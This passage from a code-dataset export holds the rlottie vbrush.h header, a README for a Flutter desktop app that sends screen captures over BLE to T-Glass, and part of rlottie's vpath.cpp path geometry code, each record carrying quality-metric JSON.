{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vbrush.h
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#ifndef VBRUSH_H
#define VBRUSH_H
#include <vector>
#include "vglobal.h"
#include "vmatrix.h"
#include "vpoint.h"
#include "vbitmap.h"
V_BEGIN_NAMESPACE
using VGradientStop = std::pair<float, VColor>;
using VGradientStops = std::vector<VGradientStop>;
class VGradient {
public:
enum class Mode { Absolute, Relative };
enum class Spread { Pad, Repeat, Reflect };
enum class Type { Linear, Radial };
explicit VGradient(VGradient::Type type);
void setStops(const VGradientStops &stops);
void setAlpha(float alpha) {mAlpha = alpha;}
float alpha() const {return mAlpha;}
public:
static constexpr int colorTableSize = 1024;
VGradient::Type mType{Type::Linear};
VGradient::Spread mSpread{Spread::Pad};
VGradient::Mode mMode{Mode::Absolute};
VGradientStops mStops;
float mAlpha{1.0};
struct Linear{
float x1{0}, y1{0}, x2{0}, y2{0};
};
struct Radial{
float cx{0}, cy{0}, fx{0}, fy{0}, cradius{0}, fradius{0};
};
union {
Linear linear;
Radial radial;
};
VMatrix mMatrix;
};
struct VTexture {
VBitmap mBitmap;
VMatrix mMatrix;
int mAlpha{255};
};
class VBrush {
public:
enum class Type { NoBrush, Solid, LinearGradient, RadialGradient, Texture };
VBrush():mType(Type::NoBrush),mColor(){};
explicit VBrush(const VColor &color);
explicit VBrush(const VGradient *gradient);
explicit VBrush(uint8_t r, uint8_t g, uint8_t b, uint8_t a);
explicit VBrush(const VTexture *texture);
inline VBrush::Type type() const { return mType; }
public:
VBrush::Type mType{Type::NoBrush};
union {
VColor mColor{};
const VGradient *mGradient;
const VTexture *mTexture;
};
};
V_END_NAMESPACE
#endif // VBRUSH_H
| 2,981
|
vbrush
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 389, "qsc_code_num_chars": 2981.0, "qsc_code_mean_word_length": 5.24678663, "qsc_code_frac_words_unique": 0.4781491, "qsc_code_frac_chars_top_2grams": 0.04311612, "qsc_code_frac_chars_top_3grams": 0.02792749, "qsc_code_frac_chars_top_4grams": 0.0, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01329901, "qsc_code_frac_chars_whitespace": 0.21804764, "qsc_code_size_file_byte": 2981.0, "qsc_code_num_lines": 92.0, "qsc_code_num_chars_line_max": 82.0, "qsc_code_num_chars_line_mean": 32.40217391, "qsc_code_frac_chars_alphabet": 0.86229086, "qsc_code_frac_chars_comments": 0.38913116, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.24193548, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01922021, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.14516129, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.25806452, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/T-Glass-Applications
|
image_capture_app/t_glass_ble_app/README.md
|
# Flutter Desktop BLE & Screen Capture App For T-Glass
## 📌 Overview
This Flutter desktop application provides **BLE scanning and connection** using `flutter_blue_plus`, **screen capturing**, and a system tray integration. The application supports **Windows and macOS**, featuring a **theme toggle**, **image processing**, and **persistent settings** using `shared_preferences`.
## 🚀 Features
- **Scan and Connect to BLE Devices** using `flutter_blue_plus`.
- **Send Image Data Over BLE** (Converted to RGB565 format).
- **Screen Capture & Image Processing** with `screen_capturer` and `image`.
- **System Tray Support** to minimize and restore the app.
- **Resizable & Themed Window** using `bitsdojo_window`.
- **Persistent Settings** with `shared_preferences`.
## 🛠️ Dependencies
This project uses the following Flutter packages:
| Package | Version | Description |
| -------------------- | ------- | ----------------------------------------------- |
| `system_tray` | ^2.0.3 | Adds system tray functionality. |
| `flutter_blue_plus` | ^1.35.2 | Handles BLE scanning and connections. |
| `shared_preferences` | ^2.5.2 | Saves user settings persistently. |
| `bitsdojo_window` | ^0.1.6 | Customizes window behavior. |
| `image` | ^4.5.2 | Image processing (resizing, format conversion). |
| `screen_capturer` | ^0.2.3 | Captures screenshots. |
| `path_provider` | ^2.1.5 | Handles file paths. |
| `shell_executor` | ^0.1.6 | Runs system shell commands. |
## 📥 Installation
### Prerequisites
- Install **Flutter** (Latest stable version)
- Ensure **Windows** or **macOS** is set up for Flutter desktop development.
### Windows Compatibility
For Windows builds, the BLE package needs to be changed to `flutter_blue_plus_windows`.
## 🖥️ Usage
### Scanning & Connecting to BLE Devices
1. Enter the **Target Device Name** in the text field.
2. Click **Scan** to start discovering BLE devices.
3. If a matching device is found, it **automatically connects**.
4. Once connected, the button changes to **Disconnect**.
5. Click **Disconnect** to disconnect and allow new scans.
### Capturing & Sending Images Over BLE
1. Click **Capture Region** to take a screenshot.
2. The image is resized to **126x126 pixels**.
3. The processed image is converted to **RGB565** format.
4. The app sends the image data over BLE.
### Theme Toggle
- Click the **Theme Button** in the top-left to switch between **Light** and **Dark Mode**.
- The selected theme is **saved** using `shared_preferences`.
### System Tray
- The app runs in the **system tray** when minimized.
- Click the tray icon to restore the window.
## 🛠️ Troubleshooting
### BLE Connection Issues on macOS
- macOS may **not display some BLE services** due to permission restrictions.
- Ensure `NSBluetoothAlwaysUsageDescription` is set in `Info.plist`:
```xml
<key>NSBluetoothAlwaysUsageDescription</key>
<string>App requires Bluetooth access</string>
```
- Restart **Bluetooth** and **reconnect the device**.
### Image Processing Errors
- Ensure the image is correctly captured before processing.
- If the app crashes, check that the image file path is valid.
## 📜 License
This project is licensed under the **MIT License**.
## 👨💻 Author
- Eric Nam
- GitHub: [Eric Nam](https://github.com/0015)
| 3,506
|
README
|
md
|
en
|
markdown
|
text
|
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.13207547, "qsc_doc_num_sentences": 64.0, "qsc_doc_num_words": 437, "qsc_doc_num_chars": 3506.0, "qsc_doc_num_lines": 93.0, "qsc_doc_mean_word_length": 5.23112128, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.47139588, "qsc_doc_entropy_unigram": 4.92185396, "qsc_doc_frac_words_all_caps": 0.02322206, "qsc_doc_frac_lines_dupe_lines": 0.0, "qsc_doc_frac_chars_dupe_lines": 0.0, "qsc_doc_frac_chars_top_2grams": 0.02624672, "qsc_doc_frac_chars_top_3grams": 0.02624672, "qsc_doc_frac_chars_top_4grams": 0.01749781, "qsc_doc_frac_chars_dupe_5grams": 0.0, "qsc_doc_frac_chars_dupe_6grams": 0.0, "qsc_doc_frac_chars_dupe_7grams": 0.0, "qsc_doc_frac_chars_dupe_8grams": 0.0, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 1.0, "qsc_doc_num_chars_sentence_length_mean": 21.33757962, "qsc_doc_frac_chars_hyperlink_html_tag": 0.01511694, "qsc_doc_frac_chars_alphabet": 0.80339718, "qsc_doc_frac_chars_digital": 0.01807011, "qsc_doc_frac_chars_whitespace": 0.21078152, "qsc_doc_frac_chars_hex_words": 0.0}
|
1
|
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
|
0015/esp_rlottie
|
rlottie/src/vector/vpath.cpp
|
/*
* Copyright (c) 2020 Samsung Electronics Co., Ltd. All rights reserved.
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "vpath.h"
#include <cassert>
#include <iterator>
#include <vector>
#include "vbezier.h"
#include "vdebug.h"
#include "vline.h"
#include "vrect.h"
V_BEGIN_NAMESPACE
void VPath::VPathData::transform(const VMatrix &m)
{
for (auto &i : m_points) {
i = m.map(i);
}
mLengthDirty = true;
}
float VPath::VPathData::length() const
{
if (!mLengthDirty) return mLength;
mLengthDirty = false;
mLength = 0.0;
size_t i = 0;
for (auto e : m_elements) {
switch (e) {
case VPath::Element::MoveTo:
i++;
break;
case VPath::Element::LineTo: {
mLength += VLine(m_points[i - 1], m_points[i]).length();
i++;
break;
}
case VPath::Element::CubicTo: {
mLength += VBezier::fromPoints(m_points[i - 1], m_points[i],
m_points[i + 1], m_points[i + 2])
.length();
i += 3;
break;
}
case VPath::Element::Close:
break;
}
}
return mLength;
}
void VPath::VPathData::checkNewSegment()
{
if (mNewSegment) {
moveTo(0, 0);
mNewSegment = false;
}
}
void VPath::VPathData::moveTo(float x, float y)
{
mStartPoint = {x, y};
mNewSegment = false;
m_elements.emplace_back(VPath::Element::MoveTo);
m_points.emplace_back(x, y);
m_segments++;
mLengthDirty = true;
}
void VPath::VPathData::lineTo(float x, float y)
{
checkNewSegment();
m_elements.emplace_back(VPath::Element::LineTo);
m_points.emplace_back(x, y);
mLengthDirty = true;
}
void VPath::VPathData::cubicTo(float cx1, float cy1, float cx2, float cy2,
float ex, float ey)
{
checkNewSegment();
m_elements.emplace_back(VPath::Element::CubicTo);
m_points.emplace_back(cx1, cy1);
m_points.emplace_back(cx2, cy2);
m_points.emplace_back(ex, ey);
mLengthDirty = true;
}
void VPath::VPathData::close()
{
if (empty()) return;
const VPointF &lastPt = m_points.back();
if (!fuzzyCompare(mStartPoint, lastPt)) {
lineTo(mStartPoint.x(), mStartPoint.y());
}
m_elements.push_back(VPath::Element::Close);
mNewSegment = true;
mLengthDirty = true;
}
void VPath::VPathData::reset()
{
if (empty()) return;
m_elements.clear();
m_points.clear();
m_segments = 0;
mLength = 0;
mLengthDirty = false;
}
size_t VPath::VPathData::segments() const
{
return m_segments;
}
void VPath::VPathData::reserve(size_t pts, size_t elms)
{
if (m_points.capacity() < m_points.size() + pts)
m_points.reserve(m_points.size() + pts);
if (m_elements.capacity() < m_elements.size() + elms)
m_elements.reserve(m_elements.size() + elms);
}
static VPointF curvesForArc(const VRectF &, float, float, VPointF *, size_t *);
static constexpr float PATH_KAPPA = 0.5522847498f;
static constexpr float K_PI = 3.141592f;
void VPath::VPathData::arcTo(const VRectF &rect, float startAngle,
float sweepLength, bool forceMoveTo)
{
size_t point_count = 0;
VPointF pts[15];
VPointF curve_start =
curvesForArc(rect, startAngle, sweepLength, pts, &point_count);
reserve(point_count + 1, point_count / 3 + 1);
if (empty() || forceMoveTo) {
moveTo(curve_start.x(), curve_start.y());
} else {
lineTo(curve_start.x(), curve_start.y());
}
for (size_t i = 0; i < point_count; i += 3) {
cubicTo(pts[i].x(), pts[i].y(), pts[i + 1].x(), pts[i + 1].y(),
pts[i + 2].x(), pts[i + 2].y());
}
}
void VPath::VPathData::addCircle(float cx, float cy, float radius,
VPath::Direction dir)
{
addOval(VRectF(cx - radius, cy - radius, 2 * radius, 2 * radius), dir);
}
void VPath::VPathData::addOval(const VRectF &rect, VPath::Direction dir)
{
if (rect.empty()) return;
float x = rect.x();
float y = rect.y();
float w = rect.width();
float w2 = rect.width() / 2;
float w2k = w2 * PATH_KAPPA;
float h = rect.height();
float h2 = rect.height() / 2;
float h2k = h2 * PATH_KAPPA;
reserve(13, 6); // 1Move + 4Cubic + 1Close
if (dir == VPath::Direction::CW) {
// moveto 12 o'clock.
moveTo(x + w2, y);
// 12 -> 3 o'clock
cubicTo(x + w2 + w2k, y, x + w, y + h2 - h2k, x + w, y + h2);
// 3 -> 6 o'clock
cubicTo(x + w, y + h2 + h2k, x + w2 + w2k, y + h, x + w2, y + h);
// 6 -> 9 o'clock
cubicTo(x + w2 - w2k, y + h, x, y + h2 + h2k, x, y + h2);
// 9 -> 12 o'clock
cubicTo(x, y + h2 - h2k, x + w2 - w2k, y, x + w2, y);
} else {
// moveto 12 o'clock.
moveTo(x + w2, y);
// 12 -> 9 o'clock
cubicTo(x + w2 - w2k, y, x, y + h2 - h2k, x, y + h2);
// 9 -> 6 o'clock
cubicTo(x, y + h2 + h2k, x + w2 - w2k, y + h, x + w2, y + h);
// 6 -> 3 o'clock
cubicTo(x + w2 + w2k, y + h, x + w, y + h2 + h2k, x + w, y + h2);
// 3 -> 12 o'clock
cubicTo(x + w, y + h2 - h2k, x + w2 + w2k, y, x + w2, y);
}
close();
}
void VPath::VPathData::addRect(const VRectF &rect, VPath::Direction dir)
{
float x = rect.x();
float y = rect.y();
float w = rect.width();
float h = rect.height();
if (vCompare(w, 0.f) && vCompare(h, 0.f)) return;
reserve(5, 6); // 1Move + 4Line + 1Close
if (dir == VPath::Direction::CW) {
moveTo(x + w, y);
lineTo(x + w, y + h);
lineTo(x, y + h);
lineTo(x, y);
close();
} else {
moveTo(x + w, y);
lineTo(x, y);
lineTo(x, y + h);
lineTo(x + w, y + h);
close();
}
}
void VPath::VPathData::addRoundRect(const VRectF &rect, float roundness,
VPath::Direction dir)
{
if (2 * roundness > rect.width()) roundness = rect.width() / 2.0f;
if (2 * roundness > rect.height()) roundness = rect.height() / 2.0f;
addRoundRect(rect, roundness, roundness, dir);
}
void VPath::VPathData::addRoundRect(const VRectF &rect, float rx, float ry,
VPath::Direction dir)
{
if (vCompare(rx, 0.f) || vCompare(ry, 0.f)) {
addRect(rect, dir);
return;
}
float x = rect.x();
float y = rect.y();
float w = rect.width();
float h = rect.height();
// clamp the rx and ry radius value.
rx = 2 * rx;
ry = 2 * ry;
if (rx > w) rx = w;
if (ry > h) ry = h;
reserve(17, 10); // 1Move + 4Cubic + 1Close
if (dir == VPath::Direction::CW) {
moveTo(x + w, y + ry / 2.f);
arcTo(VRectF(x + w - rx, y + h - ry, rx, ry), 0, -90, false);
arcTo(VRectF(x, y + h - ry, rx, ry), -90, -90, false);
arcTo(VRectF(x, y, rx, ry), -180, -90, false);
arcTo(VRectF(x + w - rx, y, rx, ry), -270, -90, false);
close();
} else {
moveTo(x + w, y + ry / 2.f);
arcTo(VRectF(x + w - rx, y, rx, ry), 0, 90, false);
arcTo(VRectF(x, y, rx, ry), 90, 90, false);
arcTo(VRectF(x, y + h - ry, rx, ry), 180, 90, false);
arcTo(VRectF(x + w - rx, y + h - ry, rx, ry), 270, 90, false);
close();
}
}
static float tForArcAngle(float angle);
void findEllipseCoords(const VRectF &r, float angle, float length,
VPointF *startPoint, VPointF *endPoint)
{
if (r.empty()) {
if (startPoint) *startPoint = VPointF();
if (endPoint) *endPoint = VPointF();
return;
}
float w2 = r.width() / 2;
float h2 = r.height() / 2;
float angles[2] = {angle, angle + length};
VPointF *points[2] = {startPoint, endPoint};
for (int i = 0; i < 2; ++i) {
if (!points[i]) continue;
float theta = angles[i] - 360 * floorf(angles[i] / 360);
float t = theta / 90;
// truncate
int quadrant = int(t);
t -= quadrant;
t = tForArcAngle(90 * t);
// swap x and y?
if (quadrant & 1) t = 1 - t;
float a, b, c, d;
VBezier::coefficients(t, a, b, c, d);
VPointF p(a + b + c * PATH_KAPPA, d + c + b * PATH_KAPPA);
// left quadrants
if (quadrant == 1 || quadrant == 2) p.rx() = -p.x();
// top quadrants
if (quadrant == 0 || quadrant == 1) p.ry() = -p.y();
*points[i] = r.center() + VPointF(w2 * p.x(), h2 * p.y());
}
}
static float tForArcAngle(float angle)
{
float radians, cos_angle, sin_angle, tc, ts, t;
if (vCompare(angle, 0.f)) return 0;
if (vCompare(angle, 90.0f)) return 1;
radians = (angle / 180) * K_PI;
cos_angle = cosf(radians);
sin_angle = sinf(radians);
// initial guess
tc = angle / 90;
// do some iterations of newton's method to approximate cos_angle
// finds the zero of the function b.pointAt(tc).x() - cos_angle
tc -= ((((2 - 3 * PATH_KAPPA) * tc + 3 * (PATH_KAPPA - 1)) * tc) * tc + 1 -
cos_angle) // value
/ (((6 - 9 * PATH_KAPPA) * tc + 6 * (PATH_KAPPA - 1)) *
tc); // derivative
tc -= ((((2 - 3 * PATH_KAPPA) * tc + 3 * (PATH_KAPPA - 1)) * tc) * tc + 1 -
cos_angle) // value
/ (((6 - 9 * PATH_KAPPA) * tc + 6 * (PATH_KAPPA - 1)) *
tc); // derivative
// initial guess
ts = tc;
// do some iterations of newton's method to approximate sin_angle
// finds the zero of the function b.pointAt(tc).y() - sin_angle
ts -= ((((3 * PATH_KAPPA - 2) * ts - 6 * PATH_KAPPA + 3) * ts +
3 * PATH_KAPPA) *
ts -
sin_angle) /
(((9 * PATH_KAPPA - 6) * ts + 12 * PATH_KAPPA - 6) * ts +
3 * PATH_KAPPA);
ts -= ((((3 * PATH_KAPPA - 2) * ts - 6 * PATH_KAPPA + 3) * ts +
3 * PATH_KAPPA) *
ts -
sin_angle) /
(((9 * PATH_KAPPA - 6) * ts + 12 * PATH_KAPPA - 6) * ts +
3 * PATH_KAPPA);
// use the average of the t that best approximates cos_angle
// and the t that best approximates sin_angle
t = 0.5f * (tc + ts);
return t;
}
// The return value is the starting point of the arc
static VPointF curvesForArc(const VRectF &rect, float startAngle,
float sweepLength, VPointF *curves,
size_t *point_count)
{
if (rect.empty()) {
return {};
}
float x = rect.x();
float y = rect.y();
float w = rect.width();
float w2 = rect.width() / 2;
float w2k = w2 * PATH_KAPPA;
float h = rect.height();
float h2 = rect.height() / 2;
float h2k = h2 * PATH_KAPPA;
VPointF points[16] = {
// start point
VPointF(x + w, y + h2),
// 0 -> 270 degrees
VPointF(x + w, y + h2 + h2k), VPointF(x + w2 + w2k, y + h),
VPointF(x + w2, y + h),
// 270 -> 180 degrees
VPointF(x + w2 - w2k, y + h), VPointF(x, y + h2 + h2k),
VPointF(x, y + h2),
// 180 -> 90 degrees
VPointF(x, y + h2 - h2k), VPointF(x + w2 - w2k, y), VPointF(x + w2, y),
// 90 -> 0 degrees
VPointF(x + w2 + w2k, y), VPointF(x + w, y + h2 - h2k),
VPointF(x + w, y + h2)};
if (sweepLength > 360)
sweepLength = 360;
else if (sweepLength < -360)
sweepLength = -360;
// Special case fast paths
if (startAngle == 0.0f) {
if (vCompare(sweepLength, 360)) {
for (int i = 11; i >= 0; --i) curves[(*point_count)++] = points[i];
return points[12];
} else if (vCompare(sweepLength, -360)) {
for (int i = 1; i <= 12; ++i) curves[(*point_count)++] = points[i];
return points[0];
}
}
int startSegment = int(floorf(startAngle / 90.0f));
int endSegment = int(floorf((startAngle + sweepLength) / 90.0f));
float startT = (startAngle - startSegment * 90) / 90;
float endT = (startAngle + sweepLength - endSegment * 90) / 90;
int delta = sweepLength > 0 ? 1 : -1;
if (delta < 0) {
startT = 1 - startT;
endT = 1 - endT;
}
// avoid empty start segment
if (vIsZero(startT - float(1))) {
startT = 0;
startSegment += delta;
}
// avoid empty end segment
if (vIsZero(endT)) {
endT = 1;
endSegment -= delta;
}
startT = tForArcAngle(startT * 90);
endT = tForArcAngle(endT * 90);
const bool splitAtStart = !vIsZero(startT);
const bool splitAtEnd = !vIsZero(endT - float(1));
const int end = endSegment + delta;
// empty arc?
if (startSegment == end) {
const int quadrant = 3 - ((startSegment % 4) + 4) % 4;
const int j = 3 * quadrant;
return delta > 0 ? points[j + 3] : points[j];
}
VPointF startPoint, endPoint;
findEllipseCoords(rect, startAngle, sweepLength, &startPoint, &endPoint);
for (int i = startSegment; i != end; i += delta) {
const int quadrant = 3 - ((i % 4) + 4) % 4;
const int j = 3 * quadrant;
VBezier b;
if (delta > 0)
b = VBezier::fromPoints(points[j + 3], points[j + 2], points[j + 1],
points[j]);
else
b = VBezier::fromPoints(points[j], points[j + 1], points[j + 2],
points[j + 3]);
// empty arc?
if (startSegment == endSegment && vCompare(startT, endT))
return startPoint;
if (i == startSegment) {
if (i == endSegment && splitAtEnd)
b = b.onInterval(startT, endT);
else if (splitAtStart)
b = b.onInterval(startT, 1);
} else if (i == endSegment && splitAtEnd) {
b = b.onInterval(0, endT);
}
// push control points
curves[(*point_count)++] = b.pt2();
curves[(*point_count)++] = b.pt3();
curves[(*point_count)++] = b.pt4();
}
curves[*(point_count)-1] = endPoint;
return startPoint;
}
void VPath::VPathData::addPolystar(float points, float innerRadius,
float outerRadius, float innerRoundness,
float outerRoundness, float startAngle,
float cx, float cy, VPath::Direction dir)
{
const static float POLYSTAR_MAGIC_NUMBER = 0.47829f / 0.28f;
float currentAngle = (startAngle - 90.0f) * K_PI / 180.0f;
float x;
float y;
float partialPointRadius = 0;
float anglePerPoint = (2.0f * K_PI / points);
float halfAnglePerPoint = anglePerPoint / 2.0f;
float partialPointAmount = points - floorf(points);
bool longSegment = false;
size_t numPoints = size_t(ceilf(points) * 2);
float angleDir = ((dir == VPath::Direction::CW) ? 1.0f : -1.0f);
bool hasRoundness = false;
innerRoundness /= 100.0f;
outerRoundness /= 100.0f;
if (!vCompare(partialPointAmount, 0)) {
currentAngle +=
halfAnglePerPoint * (1.0f - partialPointAmount) * angleDir;
}
if (!vCompare(partialPointAmount, 0)) {
partialPointRadius =
innerRadius + partialPointAmount * (outerRadius - innerRadius);
x = partialPointRadius * cosf(currentAngle);
y = partialPointRadius * sinf(currentAngle);
currentAngle += anglePerPoint * partialPointAmount / 2.0f * angleDir;
} else {
x = outerRadius * cosf(currentAngle);
y = outerRadius * sinf(currentAngle);
currentAngle += halfAnglePerPoint * angleDir;
}
if (vIsZero(innerRoundness) && vIsZero(outerRoundness)) {
reserve(numPoints + 2, numPoints + 3);
} else {
reserve(numPoints * 3 + 2, numPoints + 3);
hasRoundness = true;
}
moveTo(x + cx, y + cy);
for (size_t i = 0; i < numPoints; i++) {
float radius = longSegment ? outerRadius : innerRadius;
float dTheta = halfAnglePerPoint;
if (!vIsZero(partialPointRadius) && i == numPoints - 2) {
dTheta = anglePerPoint * partialPointAmount / 2.0f;
}
if (!vIsZero(partialPointRadius) && i == numPoints - 1) {
radius = partialPointRadius;
}
float previousX = x;
float previousY = y;
x = radius * cosf(currentAngle);
y = radius * sinf(currentAngle);
if (hasRoundness) {
float cp1Theta =
(atan2f(previousY, previousX) - K_PI / 2.0f * angleDir);
float cp1Dx = cosf(cp1Theta);
float cp1Dy = sinf(cp1Theta);
float cp2Theta = (atan2f(y, x) - K_PI / 2.0f * angleDir);
float cp2Dx = cosf(cp2Theta);
float cp2Dy = sinf(cp2Theta);
float cp1Roundness = longSegment ? innerRoundness : outerRoundness;
float cp2Roundness = longSegment ? outerRoundness : innerRoundness;
float cp1Radius = longSegment ? innerRadius : outerRadius;
float cp2Radius = longSegment ? outerRadius : innerRadius;
float cp1x = cp1Radius * cp1Roundness * POLYSTAR_MAGIC_NUMBER *
cp1Dx / points;
float cp1y = cp1Radius * cp1Roundness * POLYSTAR_MAGIC_NUMBER *
cp1Dy / points;
float cp2x = cp2Radius * cp2Roundness * POLYSTAR_MAGIC_NUMBER *
cp2Dx / points;
float cp2y = cp2Radius * cp2Roundness * POLYSTAR_MAGIC_NUMBER *
cp2Dy / points;
if (!vIsZero(partialPointAmount) &&
((i == 0) || (i == numPoints - 1))) {
cp1x *= partialPointAmount;
cp1y *= partialPointAmount;
cp2x *= partialPointAmount;
cp2y *= partialPointAmount;
}
cubicTo(previousX - cp1x + cx, previousY - cp1y + cy, x + cp2x + cx,
y + cp2y + cy, x + cx, y + cy);
} else {
